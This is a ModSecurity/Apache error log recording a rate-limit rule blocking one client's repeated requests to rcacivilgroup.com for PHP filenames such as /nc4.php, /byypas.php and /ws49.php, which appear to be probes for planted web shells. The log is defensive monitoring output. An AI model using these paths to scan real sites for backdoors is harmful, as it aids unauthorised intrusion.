[Mon Mar 23 20:58:35.944213 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:6521] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "acE4-w0axWfXsVvR9uc8BwAAAJE"]
[Mon Mar 23 20:58:36.472878 2026] [:error] [pid 38178:tid 38254] [client 20.215.241.7:6199] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "acE4_A0axWfXsVvR9uc8CgAAAIw"]
[Mon Mar 23 20:58:36.996004 2026] [:error] [pid 38178:tid 38242] [client 20.215.241.7:6765] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acE4_A0axWfXsVvR9uc8DQAAAIA"]
[Mon Mar 23 20:58:37.520651 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:43719] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acE4_ZoKGiI-a7oME3LvfAAAAMs"]
[Mon Mar 23 20:58:38.102201 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:54599] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acE4_jkL8qwu-hHc6BiPlAAAAQQ"]
[Mon Mar 23 20:58:38.682537 2026] [:error] [pid 38306:tid 38324] [client 20.215.241.7:6985] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acE4_jkL8qwu-hHc6BiPmAAAARA"]
[Mon Mar 23 20:58:39.228187 2026] [:error] [pid 38176:tid 38198] [client 20.215.241.7:6158] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acE4_0tG4qlh1gvNjuIw3wAAAAs"]
[Mon Mar 23 20:58:39.780221 2026] [:error] [pid 38176:tid 38209] [client 20.215.241.7:44792] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acE4_0tG4qlh1gvNjuIw5QAAABY"]
[Mon Mar 23 20:58:40.295084 2026] [:error] [pid 38306:tid 38327] [client 20.215.241.7:6731] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acE5ADkL8qwu-hHc6BiPnwAAARM"]
[Mon Mar 23 20:58:40.822998 2026] [:error] [pid 38306:tid 38328] [client 20.215.241.7:6758] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acE5ADkL8qwu-hHc6BiPogAAARQ"]
[Mon Mar 23 20:58:41.339222 2026] [:error] [pid 38178:tid 38266] [client 20.215.241.7:6489] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acE5AQ0axWfXsVvR9uc8EQAAAJg"]
[Mon Mar 23 20:58:41.878564 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:44789] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acE5ATkL8qwu-hHc6BiPqAAAAQU"]
[Mon Mar 23 20:58:42.464518 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:44744] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acE5AjkL8qwu-hHc6BiPqwAAAQQ"]
[Mon Mar 23 20:58:42.995365 2026] [:error] [pid 38306:tid 38330] [client 20.215.241.7:6464] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acE5AjkL8qwu-hHc6BiPrQAAARY"]
[Mon Mar 23 20:58:43.582610 2026] [:error] [pid 38306:tid 38328] [client 20.215.241.7:7150] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acE5AzkL8qwu-hHc6BiPsQAAARQ"]
[Mon Mar 23 20:58:44.102304 2026] [:error] [pid 38306:tid 38308] [client 20.215.241.7:44797] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acE5BDkL8qwu-hHc6BiPsgAAAQA"]
[Mon Mar 23 20:58:44.678161 2026] [:error] [pid 38176:tid 38211] [client 20.215.241.7:6976] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acE5BEtG4qlh1gvNjuIw6wAAABg"]
[Mon Mar 23 20:58:45.625717 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:6222] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acE5BTkL8qwu-hHc6BiPuwAAAQQ"]
[Mon Mar 23 20:58:46.140556 2026] [:error] [pid 38306:tid 38332] [client 20.215.241.7:44767] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "acE5BjkL8qwu-hHc6BiPvwAAARg"]
[Mon Mar 23 20:58:46.655916 2026] [:error] [pid 38176:tid 38207] [client 20.215.241.7:49844] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "acE5BktG4qlh1gvNjuIw7gAAABQ"]
[Mon Mar 23 20:58:47.181394 2026] [:error] [pid 38306:tid 38320] [client 20.215.241.7:6207] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "acE5BzkL8qwu-hHc6BiPxAAAAQw"]
[Mon Mar 23 20:58:47.732694 2026] [:error] [pid 38306:tid 38317] [client 20.215.241.7:44781] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "acE5BzkL8qwu-hHc6BiPxwAAAQk"]
[Mon Mar 23 20:58:48.252278 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:43752] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acE5CDkL8qwu-hHc6BiPyAAAAQQ"]
[Mon Mar 23 20:58:48.846739 2026] [:error] [pid 38306:tid 38310] [client 20.215.241.7:54604] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acE5CDkL8qwu-hHc6BiPzQAAAQI"]
[Mon Mar 23 20:58:49.363628 2026] [:error] [pid 38176:tid 38193] [client 20.215.241.7:6503] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acE5CUtG4qlh1gvNjuIw8wAAAAY"]
[Mon Mar 23 20:58:49.886440 2026] [:error] [pid 38176:tid 38199] [client 20.215.241.7:49820] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acE5CUtG4qlh1gvNjuIw9gAAAAw"]
[Mon Mar 23 20:58:50.430494 2026] [:error] [pid 38276:tid 38291] [client 20.215.241.7:7167] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acE5CpoKGiI-a7oME3LviwAAAMw"]
[Mon Mar 23 20:58:50.989655 2026] [:error] [pid 38276:tid 38295] [client 20.215.241.7:6224] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acE5CpoKGiI-a7oME3LvjAAAANA"]
[Mon Mar 23 20:58:51.526050 2026] [:error] [pid 38276:tid 38281] [client 20.215.241.7:49792] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acE5C5oKGiI-a7oME3LvjwAAAMI"]
[Mon Mar 23 20:58:52.058138 2026] [:error] [pid 38176:tid 38211] [client 20.215.241.7:7110] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acE5DEtG4qlh1gvNjuIw-QAAABg"]
[Mon Mar 23 20:58:52.601783 2026] [:error] [pid 38306:tid 38325] [client 20.215.241.7:6168] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "acE5DDkL8qwu-hHc6BiP1QAAARE"]
[Mon Mar 23 20:58:53.284541 2026] [:error] [pid 38276:tid 38300] [client 20.215.241.7:6537] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "acE5DZoKGiI-a7oME3LvkgAAANU"]
[Mon Mar 23 20:58:53.968664 2026] [:error] [pid 38177:tid 38229] [client 20.215.241.7:44756] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "acE5DXsYW-_HCI66MuntJAAAAE4"]
[Mon Mar 23 20:58:54.645303 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:7016] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "acE5DpoKGiI-a7oME3LvmAAAAMs"]
[Mon Mar 23 20:58:55.255134 2026] [:error] [pid 38276:tid 38291] [client 20.215.241.7:6734] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "acE5D5oKGiI-a7oME3LvnAAAAMw"]
[Mon Mar 23 20:58:55.792494 2026] [:error] [pid 38306:tid 38330] [client 20.215.241.7:6499] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "acE5DzkL8qwu-hHc6BiP2wAAARY"]
[Mon Mar 23 20:58:56.347019 2026] [:error] [pid 38177:tid 38234] [client 20.215.241.7:6147] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "acE5EHsYW-_HCI66MuntJgAAAFM"]
[Mon Mar 23 20:58:56.866561 2026] [:error] [pid 38306:tid 38319] [client 20.215.241.7:49805] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "acE5EDkL8qwu-hHc6BiP4AAAAQs"]
[Mon Mar 23 20:58:57.473314 2026] [:error] [pid 38306:tid 38320] [client 20.215.241.7:7029] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "acE5ETkL8qwu-hHc6BiP5QAAAQw"]
[Mon Mar 23 20:58:58.681407 2026] [:error] [pid 38176:tid 38187] [client 20.215.241.7:6506] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "acE5EktG4qlh1gvNjuIxAgAAAAA"]
[Mon Mar 23 20:58:59.212997 2026] [:error] [pid 38306:tid 38330] [client 20.215.241.7:43718] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "acE5EzkL8qwu-hHc6BiP7QAAARY"]
[Mon Mar 23 20:58:59.739870 2026] [:error] [pid 38276:tid 38296] [client 20.215.241.7:43729] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "acE5E5oKGiI-a7oME3LvnwAAANE"]
[Mon Mar 23 20:59:00.381486 2026] [:error] [pid 38276:tid 38280] [client 20.215.241.7:44746] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "acE5FJoKGiI-a7oME3LvpAAAAME"]
[Mon Mar 23 20:59:00.931361 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:6505] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "acE5FA0axWfXsVvR9uc8LwAAAJE"]
[Mon Mar 23 20:59:01.450998 2026] [:error] [pid 38276:tid 38282] [client 20.215.241.7:6495] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "acE5FZoKGiI-a7oME3LvqgAAAMM"]
[Mon Mar 23 20:59:02.004431 2026] [:error] [pid 38177:tid 38239] [client 20.215.241.7:44787] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "acE5FnsYW-_HCI66MuntKAAAAFg"]
[Mon Mar 23 20:59:02.554030 2026] [:error] [pid 38177:tid 38223] [client 20.215.241.7:6576] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "acE5FnsYW-_HCI66MuntLgAAAEg"]
[Mon Mar 23 20:59:03.067328 2026] [:error] [pid 38178:tid 38264] [client 20.215.241.7:6808] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "acE5Fw0axWfXsVvR9uc8MAAAAJY"]
[Mon Mar 23 20:59:03.605350 2026] [:error] [pid 38176:tid 38209] [client 20.215.241.7:49813] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "acE5F0tG4qlh1gvNjuIxCwAAABY"]
[Mon Mar 23 20:59:04.155137 2026] [:error] [pid 38178:tid 38263] [client 20.215.241.7:6539] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "acE5GA0axWfXsVvR9uc8MgAAAJU"]
[Mon Mar 23 20:59:04.683671 2026] [:error] [pid 38178:tid 38258] [client 20.215.241.7:44780] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acE5GA0axWfXsVvR9uc8NQAAAJA"]
[Mon Mar 23 20:59:05.212842 2026] [:error] [pid 38176:tid 38201] [client 20.215.241.7:54649] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acE5GUtG4qlh1gvNjuIxDQAAAA4"]
[Mon Mar 23 20:59:05.856283 2026] [:error] [pid 38306:tid 38308] [client 20.215.241.7:6750] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acE5GTkL8qwu-hHc6BiQAgAAAQA"]
[Mon Mar 23 20:59:06.411213 2026] [:error] [pid 38306:tid 38326] [client 20.215.241.7:6550] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acE5GjkL8qwu-hHc6BiQBAAAARI"]
[Mon Mar 23 20:59:06.966596 2026] [:error] [pid 38176:tid 38210] [client 20.215.241.7:44783] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "acE5GktG4qlh1gvNjuIxEwAAABc"]
[Mon Mar 23 20:59:07.506847 2026] [:error] [pid 38306:tid 38329] [client 20.215.241.7:49848] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "acE5GzkL8qwu-hHc6BiQBwAAARU"]
